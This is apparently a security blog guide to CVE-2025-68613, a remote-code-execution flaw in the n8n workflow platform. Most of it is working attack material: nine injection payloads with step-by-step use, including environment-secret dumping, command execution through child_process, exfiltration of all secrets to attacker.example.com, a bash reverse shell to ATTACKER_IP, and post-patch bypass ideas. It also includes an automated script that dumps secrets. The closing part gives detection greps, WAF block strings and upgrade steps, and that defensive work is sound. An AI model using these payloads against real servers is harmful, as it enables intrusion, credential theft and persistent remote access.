A critical security flaw has been identified in n8n, tracked as CVE-2025-68613. This is a Critical Remote Code Execution vulnerability in n8n workflow automation platform. The vulnerability allows attackers to execute arbitrary commands on affected servers. In simple terms, it can lead to full system compromise.
This risk is especially serious because n8n is often exposed to the internet and connected to internal systems, APIs, and cloud services. A successful attack can give an adversary control over workflows, access to credentials, and a path deeper into the environment.
This guide explains how the vulnerability is exploited, what the real-world impact looks like, and how teams can detect and fix the issue quickly. The goal is clarity. No hype. Just practical guidance for security and DevOps teams who need to act fast.
Executive Summary
CVE-2025-68613 (n8n): Severity, Scope, and Impact
Before diving into exploitation mechanics and mitigation steps, it’s important to understand the basic profile of the vulnerability. Here is a brief snapshot:
- CVE ID: CVE-2025-68613
- Severity: Critical (CVSS score of 9.9)
- Affected Versions: n8n versions from v0.211.0 through v1.120.3
- Patched Versions: Fixed in v1.120.4, v1.121.1, v1.122.0 and later
- Attack Vector: Network-based attack requiring authentication
- Privileges Required: Low — any authenticated user can trigger exploitation
- User Interaction: None required
- Impact: Successful exploitation results in full remote code execution and complete system compromise.
What Can Attackers Do?
- Execute arbitrary system commands: Run OS-level commands with the privileges of the n8n process, enabling control over the host and its network access.
- Read/write any file on the server: Access or modify configuration files, logs, keys, and application data, including planting files for persistence.
- Steal secrets and database credentials: Extract environment variables, API keys, database passwords, cloud credentials, and other secrets used across internal and third-party systems.
- Install backdoors: Deploy cron jobs, malicious binaries, reverse shells, or modified startup scripts to maintain persistent access.
- Pivot to other systems: Move laterally to connected databases, internal APIs, CI/CD pipelines, and cloud infrastructure using trusted workflows and stolen credentials.
CVE-2025-68613: Understanding the Vulnerability
For a non-technical user, think of n8n like a robot that follows instructions you give it. Normally, it performs only the task you ask for. This vulnerability exists because the robot does not check whether the instruction itself is dangerous before running it.
Normal use:
User: “Hey n8n, calculate 2 + 2”
n8n: “Result is 4” (Safe)
Exploit
User: “Hey n8n, calculate this: {{ (function() { return ‘secret data’; })() }}”
n8n: “Here’s your secret data” (Dangerous)
In this case, n8n blindly executes the embedded instruction instead of rejecting it. That is the core issue.
Technical Explanation
n8n allows JavaScript expressions inside workflows. These expressions are wrapped in {{ }} and are evaluated server-side using Node.js.
The Problem:
- n8n didn’t properly isolate the JavaScript execution environment
- User expressions could access the global ‘this’ context
- In Node.js, ‘this’ contains ‘process.mainModule.require’
- This allows loading any Node.js module (like `child_process` for command execution)
Because of this, user input is executed with far more trust than it should have, leading directly to remote code execution.
Code Flow:
- User input is first passed into a workflow. When the input is wrapped inside {{ }}, n8n treats it as a JavaScript expression, not as plain data.
- That expression is then evaluated on the server using Node.js. At this point, the code is expected to run in a restricted context.
- The problem is that there is no effective sandbox. The expression can access the global this object during execution.
- In Node.js, this exposes the process. From there, an attacker can reach sensitive runtime objects and load system modules.
- Once this boundary is crossed, the attacker gains the ability to execute commands and interact directly with the underlying system.
Exploitation Model
Exploitation Impact Chain
Here is the exploitation impact chain:

Exploitation Requirements
- Authentication: A valid n8n account is required, even with low-level privileges
- Permission: The attacker must be able to create or edit workflows
- Network Access: The n8n instance must be reachable over the network
- Execution: Workflow must be executed/tested to trigger payload
Attack Scenarios
Scenario 1: External Attacker
1. Register free account (if registration open)
2. Create malicious workflow
3. Execute → steal credentials
4. Use stolen credentials to access databases or APIs
Scenario 2: Insider Threat
1. Low-privilege employee with n8n access
2. Create workflow for a legitimate task
3. Inject RCE payload into an expression
4. Exfiltrate company secrets
Scenario 3: Supply Chain Attack
1. Import a third-party workflow template
2. Template contains hidden malicious expression
3. Workflow is executed
4. Compromise occurs
Vulnerable Routes & API Endpoints
This vulnerability can be exploited anywhere n8n evaluates user-controlled expressions. Because expressions are processed server-side, multiple interfaces and APIs become viable attack surfaces.
Where Can This Vulnerability Be Exploited?
n8n expressions can be injected in several places across the platform, including the web interface, REST APIs, and webhook-triggered workflows.
1. Workflow Editor (Web UI)
URL: https://n8n.example.com/workflow/new
Any workflow node that accepts expressions can be abused, including:
- Code nodes
- Function nodes
- Set nodes
- IF nodes
- Expression fields in any node
Example vulnerable flow:
https://n8n.example.com/workflow/new
– Add “Set” node
– In “Value” field enter: {{ malicious_payload }}
– Execute workflow
2. REST API – Create Workflow
Endpoint: POST /rest/workflows
URL: https://n8n.example.com/rest/workflows
Vulnerable Parameter: nodes[].parameters (any expression field)
Example request:

3. REST API – Update Workflow
Endpoint: PUT /rest/workflows/:id
URL: https://n8n.example.com/rest/workflows/123
Same vulnerability as the workflow creation endpoint.
4. REST API – Execute Workflow
Endpoint: POST /rest/workflows/:id/execute
URL: https://n8n.example.com/rest/workflows/123/execute
Triggers existing malicious workflows.
5. Webhook Endpoints
URL: https://n8n.example.com/webhook/your-webhook-id
If a workflow uses webhook triggers with expressions processing webhook data.
6. Test Execution in Editor
URL: https://n8n.example.com/workflow/123
Clicking “Execute Workflow” or “Test Step” buttons.
Quick URL Testing Examples
Test 1: Check if Server is Vulnerable (Safe Recon)
https://n8n.example.com/workflow/new
1. Create new workflow
2. Add “Set” node
3. In “Value” field enter: `{{ $version }}`
4. Execute workflow
5. If you see version number → expressions work → potentially vulnerable
Test 2: Environment Variable Disclosure
Create workflow with this in any expression field:
{{ (function() { return this.process.env; })() }}
Execute at:
https://n8n.example.com/workflow/YOUR_WORKFLOW_ID?execute=true
Test 3: Command Execution Test
{{ (function() {
var require = this.process.mainModule.require;
var execSync = require('child_process').execSync;
return execSync('whoami').toString();
})() }}
Exploitation Payloads
Understanding Payload Structure
All n8n expression payloads follow this pattern:
{{ JavaScript_Code_Here }}
The `{{ }}` brackets tell n8n “evaluate this as JavaScript expression”.
Payload 1: Basic Process Access via IIFE
What it does: Returns the Node.js `process` object (proof of vulnerability)
Difficulty: Beginner
Risk Level: Info Disclosure
Where to Inject
URL: https://n8n.example.com/workflow/new
Node: Any “Set” node
Field: Value field
{{ (function() { return this.process; })() }}
Expected Result
{
"pid": 12345,
"platform": "linux",
"version": "v18.16.0",
...
}
Why This Matters: Proves you can access Node.js internals through expressions.
Testing via curl:
# Create workflow with this payload
curl -X POST https://n8n.example.com/rest/workflows \
-H "Content-Type: application/json" \
-H "X-N8N-API-KEY: YOUR_API_KEY" \
-d @- <<'EOF'
{
"name": "Test Process Access",
"active": false,
"nodes": [{
"name": "Start",
"type": "n8n-nodes-base.start",
"position": [250, 300]
}, {
"name": "Check Process",
"type": "n8n-nodes-base.set",
"position": [450, 300],
"parameters": {
"values": {
"string": [{
"name": "process_info",
"value": "={{ (function() { return this.process; })() }}"
}]
}
}
}],
"connections": {
"Start": {
"main": [[{"node": "Check Process", "type": "main", "index": 0}]]
}
}
}
EOF
Payload 2: Environment Variable Exfiltration
What it does: Steals all environment variables (API keys, database passwords, secrets)
Difficulty: Beginner
Risk Level: Critical
Where to Inject
URL: https://n8n.example.com/workflow/new
Node: “Set” or “Code” node
Field: Any expression field
{{ (function() { return this.process.env; })() }}
Expected Result
{
"DATABASE_PASSWORD": "supersecret123",
"AWS_ACCESS_KEY": "AKIA...",
"STRIPE_SECRET_KEY": "sk_live_...",
"SMTP_PASSWORD": "email_pass",
...
}
Real-world impact: Immediate credential theft for all connected services.
Quick browser test:
This quick check helps confirm whether an n8n instance is vulnerable.
- Go to: `https://n8n.example.com/workflow/new`
- Add “Set” node
- Paste payload in Value field
- Click “Execute Node”
- See all secrets in output
Payload 3: Remote Code Execution – whoami
What it does: Executes the `whoami` command to see which user n8n runs as
Difficulty: Intermediate
Risk Level: Critical
Where to inject:
URL: https://n8n.example.com/workflow/new
Node: “Code” or “Set” node
Field: Expression field
{{ (function() {
var require = this.process.mainModule.require;
var execSync = require('child_process').execSync;
return execSync('whoami').toString();
})() }}
Expected Result
n8n_user
or
root
Why this matters: Confirms you can execute system commands. If it returns `root`, you have full system control.
Step-by-step attack:
- Go to: https://n8n.example.com/workflow/new
- Add “Set” node
- In “Value” field, paste the payload above
- Click “Execute Node” button
- Check output → you will see the username
Payload 4: Constructor Chain Attack
{{ (function() {
return this.constructor.constructor(‘return process’)();
})() }}
Expected Result
Access to the process object via the Function constructor.
Impact
Bypasses basic sandboxing and filtering attempts.
Payload 5: Exploitation via Array Callback Method


Impact: Alternative exploitation path
Payload 6: Data Exfiltration via HTTP
{{ (function() {
var require = this.process.mainModule.require;
var https = require(‘https’);
var data = JSON.stringify(this.process.env);
var options = {
hostname: ‘attacker.example.com’,
port: 443,
path: ‘/exfil’,
method: ‘POST’,
headers: {
‘Content-Type’: ‘application/json’,
‘Content-Length’: data.length
}
};
var req = https.request(options);
req.write(data);
req.end();
return ‘Data exfiltrated’;
})() }}
Expected Result
Secrets transmitted to attacker-controlled server.
Impact
Stealth credential exfiltration.
Payload 7: Accessing Internal Node.js Bindings
{{ (function() {
var binding = this.process.binding;
return binding(‘fs’);
})() }}
Expected Result
Direct access to internal Node.js bindings.
Impact
Deeper runtime access, bypassing higher-level controls.
Payload 8: Loading Native Modules Internally
{{ (function() {
var require = this.process.mainModule.require;
var Module = require(‘module’);
return Module._load(‘child_process’);
})() }}
Expected Result
Loads modules using internal loader.
Impact
Alternative module loading path for RCE.
Payload 9: Reverse Shell Execution
{{ (function() {
var require = this.process.mainModule.require;
var exec = require(‘child_process’).exec;
exec(‘bash -c “bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1″‘);
return ‘Reverse shell initiated’;
})() }}
Expected Result
Reverse shell connection established.
Impact
Persistent remote attacker access.
Post-Patch Analysis
This section explains what the official fix changes, what it blocks, and which techniques may still be explored by attackers attempting to bypass protections.
What the Patch Blocks
The patch introduces FunctionThisSanitizer, which restricts access to the this object during expression evaluation.
After the patch is applied, direct access to the Node.js process object is no longer possible.
// BEFORE PATCH:
(function() { return this.process; })()
// → Returns actual Node.js process object
// AFTER PATCH:
(function() { return this.process; }).call({ process: {} })
// → Returns empty object: {}
This breaks the most common exploitation technique by replacing the execution context with a sanitized object.
Potential Bypass Attempts (Post-Patch)
The following payloads illustrate possible bypass ideas that attackers may attempt after patching. These are not guaranteed to work and depend on implementation details.
Bypass 1: Arrow Functions (May not be sanitized)
{{ (() => this.process)() }}
Bypass 2: Accessing Global via Other Methods
{{ (function() { return global.process; })() }}
Bypass 3: Using eval (If Available)
{{ eval(‘process’) }}
Bypass 4: Symbol-Based Access
{{ Object.getOwnPropertySymbols(this) }}
Quick Testing Guide: A Step By Step Process
This section provides a fast, repeatable way to verify whether an n8n instance is vulnerable or patched.
For Pentesters: 5-Minute Vulnerability Check
Step 1: Get Access
1. Register account at: https://n8n.example.com/signup
OR
2. Login at: https://n8n.example.com/signin
Step 2: Create a Test Workflow
1. Navigate to: https://n8n.example.com/workflow/new
2. Click “+ Add Node”
3. Search for “Set” node
4. Click to add it
Step 3: Inject the Test Payload
1. In the “Set” node configuration
2. Click “Add Value”
3. Select “String”
4. Name: “test”
5. Value: {{ (function() { return this.process.env; })() }}
6. Click “Execute Node” button
Step 4: Verify the Result
- If you see environment variables – VULNERABLE
- If you see empty object {} – PATCHED
Automated Testing Script
This script automates workflow creation, execution, validation, and cleanup.
Save as test_n8n_vuln.sh:
#!/bin/bash
N8N_URL="https://n8n.example.com"
API_KEY="your_api_key_here"
echo "[*] Testing n8n for CVE-2025-68613..."
# Create test workflow
RESPONSE=$(curl -s -X POST "$N8N_URL/rest/workflows" \
-H "Content-Type: application/json" \
-H "X-N8N-API-KEY: $API_KEY" \
-d '{
"name": "CVE-2025-68613 Test",
"active": false,
"nodes": [{
"name": "Start",
"type": "n8n-nodes-base.start",
"position": [250, 300],
"parameters": {}
}, {
"name": "Exploit Test",
"type": "n8n-nodes-base.set",
"position": [450, 300],
"parameters": {
"values": {
"string": [{
"name": "vuln_check",
"value": "={{ (function() { return this.process.env; })() }}"
}]
}
}
}],
"connections": {
"Start": {
"main": [[{"node": "Exploit Test", "type": "main", "index": 0}]]
}
}
}')
WORKFLOW_ID=$(echo $RESPONSE | jq -r '.id')
echo "[+] Created workflow ID: $WORKFLOW_ID"
# Execute workflow
EXEC_RESPONSE=$(curl -s -X POST "$N8N_URL/rest/workflows/$WORKFLOW_ID/execute" \
-H "X-N8N-API-KEY: $API_KEY")
echo "[*] Execution result:"
echo $EXEC_RESPONSE | jq '.'
# Check for vulnerability
if echo $EXEC_RESPONSE | grep -q "DATABASE\|API_KEY\|PASSWORD"; then
echo "[!!!] VULNERABLE - Environment variables exposed!"
echo "[!!!] CVE-2025-68613 confirmed"
else
echo "[+] Not vulnerable or patched"
fi
# Cleanup
curl -s -X DELETE "$N8N_URL/rest/workflows/$WORKFLOW_ID" \
-H "X-N8N-API-KEY: $API_KEY"
echo "[*] Cleanup complete"
Usage:
chmod +x test_n8n_vuln.sh
./test_n8n_vuln.sh
Detection Indicators
Security teams should flag workflows or logs containing:
- Expressions referencing this.process
- Use of mainModule.require
- References to child_process, fs, or similar modules
- Unusual function expressions
- Use of binding, _load, or constructor.constructor
Detection and Remediation
How Security Teams Can Detect Abuse
1. Check n8n Version
n8n –version
docker exec <container> n8n –version
Vulnerable versions:
v0.211.0 – v1.120.3
2. Audit Existing Workflows
grep -r “this.process” /path/to/n8n/workflows/
grep -r “mainModule.require” /path/to/n8n/workflows/
grep -r “child_process” /path/to/n8n/workflows/
grep -r “binding(” /path/to/n8n/workflows/
grep -r “_load(” /path/to/n8n/workflows/
3. Monitor Logs
Look for:
– Unexpected system command execution
– Outbound network activity
– Access to sensitive files
– Expression evaluation errors
4. Monitor Network Traffic
Watch for:
– Unknown outbound connections
– Large POST requests
– Reverse shell activity
Immediate Remediation Options
Option 1: Upgrade (Recommended)
npm install -g n8n@latest
docker pull n8nio/n8n:latest
docker-compose down
docker-compose up -d
n8n –version
Expected:
1.122.0 or higher
Option 2: Temporary Mitigations
1. Restrict workflow editing to trusted users
2. Disable public user registration
3. Audit all existing workflows
4. Run n8n as a non-root user
5. Segment network access
6. Enable detailed logging
Option 3: WAF Rules (Defense in Depth)
Block requests containing:
this.process
mainModule.require
child_process
process.binding
Module._load
Note: WAF rules alone are not sufficient protection.
Final Thoughts
CVE-2025-68613 is a reminder of how much trust we place in automation tools. n8n is designed to make work easier, but when workflows can run code and access secrets, small mistakes turn into big risks. This flaw shows how quickly a low-privilege account can become a full system compromise if boundaries aren’t enforced.
For teams running n8n, the priority is clear. Patch fast. Review existing workflows carefully. Limit who can create and edit them. Automation should reduce risk, not quietly expand it. Treat workflows like code, apply the same discipline, and keep security checks part of everyday operations—not an afterthought.
Further Reading
https://github.com/n8n-io/n8n/security/advisories
https://docs.n8n.io/hosting/configuration/security
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf



